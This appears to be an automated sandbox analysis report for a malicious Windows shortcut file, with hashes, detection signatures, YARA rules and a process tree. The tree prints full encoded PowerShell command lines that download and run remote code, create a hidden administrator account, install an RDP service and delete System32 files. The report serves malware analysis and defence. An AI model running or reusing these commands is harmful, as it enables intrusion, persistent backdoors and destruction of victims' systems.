Edit tour
Windows
Analysis Report
ny.lnk.d.lnk
Overview
General Information
| Sample name: | ny.lnk.d.lnk |
| Analysis ID: | 1578267 |
| MD5: | 6c28ee9da90d10710faecafc3bae173b |
| SHA1: | ad12270b640f388c27dcd071f163ea636ca4709c |
| SHA256: | e2e84b65af1fc49bdfa5d3c3a0793cf7632af91511aa8c16797770aabb5d6a99 |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Windows shortcut file (LNK) starts blacklisted processes
Yara detected Powershell download and execute
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Contains functionality to hide user accounts
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
PowerShell case anomaly found
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64native
cmd.exe (PID: 7336 cmdline: "C:\Window s\system32 \cmd.exe" /c "STaRT /MiN "" PO werShElL - WIndowStYL e HIddEn - EnCoDeDCOM mand "SQBF AFgAIAAoAF sAVABFAHgA dAAuAEUAbg BDAE8AZABp AG4ARwBdAD oAOgBVAFQA RgA4AC4ARw BlAHQAUwB0 AFIASQBOAE cAKAAoAEkA VwByACAAIg BoAHQAdABw AHMAOgAvAC 8AYQBrAGEA ZABlAG0AaQ BpAGkAaQBp AGkAaQBpAC 4AbwBuAGwA aQBuAGUALw B0AC8ANgBk AGUAZgA2AD cAYgBkADUA OAAzADEAOA BhADUAOQAz ADgAMwBiAG IAMAA2ADkA MwA5ADUAYg A0ADkANwBi ADEAMwBiAD EAZQBlADMA YgBjADMAOQ AzAGIAOABj AGYAOAAzAD YANQA2AGMA NABjAGQANw BkADIAMwAz ADUAMQAiAC kALgBDAE8A bgB0AEUAbg B0AC4ARgBP AFIARQBhAG MASAAoAHsA JABfACAALQ BCAFgAbwBS ACAAMQB9AC kAKQApAA== "" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8040 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
powershell.exe (PID: 4012 cmdline: POwerShElL -WIndowSt YLe HIddEn -EnCoDeDC OMmand "SQ BFAFgAIAAo AFsAVABFAH gAdAAuAEUA bgBDAE8AZA BpAG4ARwBd ADoAOgBVAF QARgA4AC4A RwBlAHQAUw B0AFIASQBO AEcAKAAoAE kAVwByACAA IgBoAHQAdA BwAHMAOgAv AC8AYQBrAG EAZABlAG0A aQBpAGkAaQ BpAGkAaQBp AC4AbwBuAG wAaQBuAGUA LwB0AC8ANg BkAGUAZgA2 ADcAYgBkAD UAOAAzADEA OABhADUAOQ AzADgAMwBi AGIAMAA2AD kAMwA5ADUA YgA0ADkANw BiADEAMwBi ADEAZQBlAD MAYgBjADMA OQAzAGIAOA BjAGYAOAAz ADYANQA2AG MANABjAGQA NwBkADIAMw AzADUAMQAi ACkALgBDAE 8AbgB0AEUA bgB0AC4ARg BPAFIARQBh AGMASAAoAH sAJABfACAA LQBCAFgAbw BSACAAMQB9 ACkAKQApAA ==" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4244 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 8052 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7680 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
WINWORD.EXE (PID: 4596 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Root\ Office16\W INWORD.EXE " /n "C:\U sers\user\ AppData\Lo cal\Temp\D etailed in formation on policy benefits a nd commiss ion levels for emplo yees after probation ary period Storytail ors.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6) - cmd.exe (PID: 540 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -NoExit -WindowSty le Hidden -NoProfile -Executio nPolicy by pass -Enco dedCommand SQBFAFgAI AAoAFsAVAB lAHgAdAAuA EUAbgBjAG8 AZABpAG4AZ wBdADoAOgB VAFQARgA4A C4ARwBlAHQ AUwB0AHIAa QBuAGcAKAA oAEkAdwByA CAAIgBoAHQ AdABwADoAL wAvAGEAawB hAGQAZQBtA GkAaQBpAGk AaQBpAGkAa QAuAG8AbgB sAGkAbgBlA C8AdAAvAGY AZgA4ADQAN QA5ADQAOAB lAGUAMgBjA GMAYgBkAGE AMwAzAGEAY QBhAGYAMQA zAGUAYwA4A DcAMwBhADY AMgAyADIAN wBjADYAYwB mADQAMQBkA GMAMwBjAGY AYgA0AGQAZ ABhADAAMAB iADcAMQBlA DIAYQBlAGY ANgA5ADUAM gBlADIAMwB jADUAOABlA DUAYQAyADc AOQA3ADQAY gBiADIAMAB lAGMAOAAwA DIAMQAyADQ AYgBlADkAO QBhACIAKQA uAEMAbwBuA HQAZQBuAHQ ALgBGAG8Ac gBFAGEAYwB oACgAewAkA F8AIAAtAGI AeABvAHIAI AAxAH0AKQA pACkA MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5624 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 5520 cmdline:
powershell .exe -NoEx it -Window Style Hidd en -NoProf ile -Execu tionPolicy bypass -E ncodedComm and SQBFAF gAIAAoAFsA VABlAHgAdA AuAEUAbgBj AG8AZABpAG 4AZwBdADoA OgBVAFQARg A4AC4ARwBl AHQAUwB0AH IAaQBuAGcA KAAoAEkAdw ByACAAIgBo AHQAdABwAD oALwAvAGEA awBhAGQAZQ BtAGkAaQBp AGkAaQBpAG kAaQAuAG8A bgBsAGkAbg BlAC8AdAAv AGYAZgA4AD QANQA5ADQA OABlAGUAMg BjAGMAYgBk AGEAMwAzAG EAYQBhAGYA MQAzAGUAYw A4ADcAMwBh ADYAMgAyAD IANwBjADYA YwBmADQAMQ BkAGMAMwBj AGYAYgA0AG QAZABhADAA MABiADcAMQ BlADIAYQBl AGYANgA5AD UAMgBlADIA MwBjADUAOA BlADUAYQAy ADcAOQA3AD QAYgBiADIA MABlAGMAOA AwADIAMQAy ADQAYgBlAD kAOQBhACIA KQAuAEMAbw BuAHQAZQBu AHQALgBGAG 8AcgBFAGEA YwBoACgAew AkAF8AIAAt AGIAeABvAH IAIAAxAH0A KQApACkA MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4412 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
sppsvc.exe (PID: 8336 cmdline: C:\Windows \system32\ sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)
- svczHost.exe (PID: 8876 cmdline:
C:\Windows \Temp\svcz Host.exe n onbo1 akad emiiiiiiii .online 46 d578f8ebeb 0d298af9e0 abba20aa66 30bf759e37 8b0ee836f8 ea55b25f08 ca80e36c8f 3c85f8f090 ed84d18897 0ebb937609 6bba196552 9122fe3306 bc0716 MD5: A2B92A4EB02A185E863F4F17737A0CA7) - conhost.exe (PID: 8884 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 8948 cmdline:
"cmd.exe" /c del /q "C:\Window s \System3 2\*" & rmd ir "C:\Win dows \Syst em32" & rm dir "C:\Wi ndows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 8976 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8984 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 9032 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 9052 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand JABV AHMAZQByAG 4AYQBtAGUA IAA9ACAAIg BVAHMAZQBy ADEAIgA7AC QAcAB3AGQA IAA9ACAAIg AxADIAMwA0 ADUANgA3AD gAOQAhAEEA MQBhACIAOw AgACQAVQBz AGUAcgBQAG EAcgBhAG0A cwAgAD0AIA BAAHsAJwBO AGEAbQBlAC cAIAA9ACAA JABVAHMAZQ ByAG4AYQBt AGUAOwAgAC cAUABhAHMA cwB3AG8Acg BkACcAIAA9 ACAAKABDAG 8AbgB2AGUA cgB0AFQAbw AtAFMAZQBj AHUAcgBlAF MAdAByAGkA bgBnACAALQ BTAHQAcgBp AG4AZwAgAC QAcAB3AGQA IAAtAEEAcw BQAGwAYQBp AG4AVABlAH gAdAAgAC0A RgBvAHIAYw BlACkAOwAg ACcAUABhAH MAcwB3AG8A cgBkAE4AZQ B2AGUAcgBF AHgAcABpAH IAZQBzACcA IAA9ACAAJA B0AHIAdQBl AH0AOwBOAG UAdwAtAEwA bwBjAGEAbA BVAHMAZQBy ACAAQABVAH MAZQByAFAA YQByAGEAbQ BzADsAJABH AHIAbwB1AH AAUABhAHIA YQBtAHMAIA A9ACAAQAB7 ACcARwByAG 8AdQBwACcA IAA9ACAAJw BBAGQAbQBp AG4AaQBzAH QAcgBhAHQA bwByAHMAJw A7ACAAJwBN AGUAbQBiAG UAcgAnACAA PQAgACQAVQ BzAGUAcgBu AGEAbQBlAH 0AOwBBAGQA ZAAtAEwAbw BjAGEAbABH AHIAbwB1AH AATQBlAG0A YgBlAHIAIA BAAEcAcgBv AHUAcABQAG EAcgBhAG0A cwA7AA0ACg A= MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 9060 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - cmd.exe (PID: 8300 cmdline:
"cmd.exe" /c sc quer y myRdpSer vice MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8292 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 8272 cmdline:
sc query m yRdpServic e MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - cmd.exe (PID: 2324 cmdline:
"cmd.exe" /c sc dele te "myRdpS ervice" & SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto & net start "myRdpServ ice" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1276 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - sc.exe (PID: 1468 cmdline:
sc delete "myRdpServ ice" MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - sc.exe (PID: 3012 cmdline:
SC CREATE "myRdpServ ice" binpa th= "C:\Wi ndows\Temp \myRdpServ ice.exe no nbo1" star t= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80) - powershell.exe (PID: 4764 cmdline:
"powershel l.exe" -No Logo -NoPr ofile -Win dowStyle H idden -Exe cutionPoli cy bypass -EncodedCo mmand ZwBl AHQALQBzAG UAcgB2AGkA YwBlACAAIg BtAHkAUgBk AHAAUwBlAH IAdgBpAGMA ZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 4540 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
- myRdpService.exe (PID: 4280 cmdline:
C:\Windows \Temp\myRd pService.e xe nonbo1 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A) 
regedit.exe (PID: 5020 cmdline: "regedit.e xe" /e "C: \Windows\T emp\regBac kup.reg" " HKEY_LOCAL _MACHINE\S YSTEM\Curr entControl Set\Servic es\TermSer vice" MD5: 999A30979F6195BF562068639FFC4426) - powershell.exe (PID: 1852 cmdline:
"powershel l.exe" -Co mmand "sys teminfo | Select-Str ing \"OS N ame\",\"OS Version\" ;" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5344 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - systeminfo.exe (PID: 5768 cmdline:
"C:\Window s\system32 \systeminf o.exe" MD5: EE309A9C61511E907D87B10EF226FDCD) - cmd.exe (PID: 7708 cmdline:
/c powersh ell.exe -w hidden -n ologo -nop -ep bypas s -Encoded Command QQ BkAGQALQBU AHkAcABlAC AALQBBAHMA cwBlAG0AYg BsAHkATgBh AG0AZQAgAF MAeQBzAHQA ZQBtAC4AVw BpAG4AZABv AHcAcwAuAE YAbwByAG0A cwA7ACAAWw BTAHkAcwB0 AGUAbQAuAF cAaQBuAGQA bwB3AHMALg BGAG8AcgBt AHMALgBTAG MAcgBlAGUA bgBdADoAOg BBAGwAbABT AGMAcgBlAG UAbgBzACAA fAAgAEYAbw ByAEUAYQBj AGgALQBPAG IAagBlAGMA dAAgAHsAIA AiACQAKAAk AF8ALgBCAG 8AdQBuAGQA cwAuAFcAaQ BkAHQAaAAp AHgAJAAoAC QAXwAuAEIA bwB1AG4AZA BzAC4ASABl AGkAZwBoAH QAKQAiACAA fQAgAHwAIA BPAHUAdAAt AEYAaQBsAG UAIAAtAEYA aQBsAGUAUA BhAHQAaAAg ACIAQwA6AF wAVwBpAG4A ZABvAHcAcw BcAFQAZQBt AHAAXABkAH AAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6324 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - powershell.exe (PID: 7084 cmdline:
powershell .exe -w hi dden -nolo go -nop -e p bypass - EncodedCom mand QQBkA GQALQBUAHk AcABlACAAL QBBAHMAcwB lAG0AYgBsA HkATgBhAG0 AZQAgAFMAe QBzAHQAZQB tAC4AVwBpA G4AZABvAHc AcwAuAEYAb wByAG0AcwA 7ACAAWwBTA HkAcwB0AGU AbQAuAFcAa QBuAGQAbwB 3AHMALgBGA G8AcgBtAHM ALgBTAGMAc gBlAGUAbgB dADoAOgBBA GwAbABTAGM AcgBlAGUAb gBzACAAfAA gAEYAbwByA EUAYQBjAGg ALQBPAGIAa gBlAGMAdAA gAHsAIAAiA CQAKAAkAF8 ALgBCAG8Ad QBuAGQAcwA uAFcAaQBkA HQAaAApAHg AJAAoACQAX wAuAEIAbwB 1AG4AZABzA C4ASABlAGk AZwBoAHQAK QAiACAAfQA gAHwAIABPA HUAdAAtAEY AaQBsAGUAI AAtAEYAaQB sAGUAUABhA HQAaAAgACI AQwA6AFwAV wBpAG4AZAB vAHcAcwBcA FQAZQBtAHA AXABkAHAAI gA= MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
| |
| Click to see the 1 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| hacktool_windows_moyix_creddump | creddump is a python tool to extract credentials and secrets from Windows registry hives. | @mimeframe |
|
System Summary |   |
|---|
| Source: | Author: Jonathan Cheong, oscd.community: | ||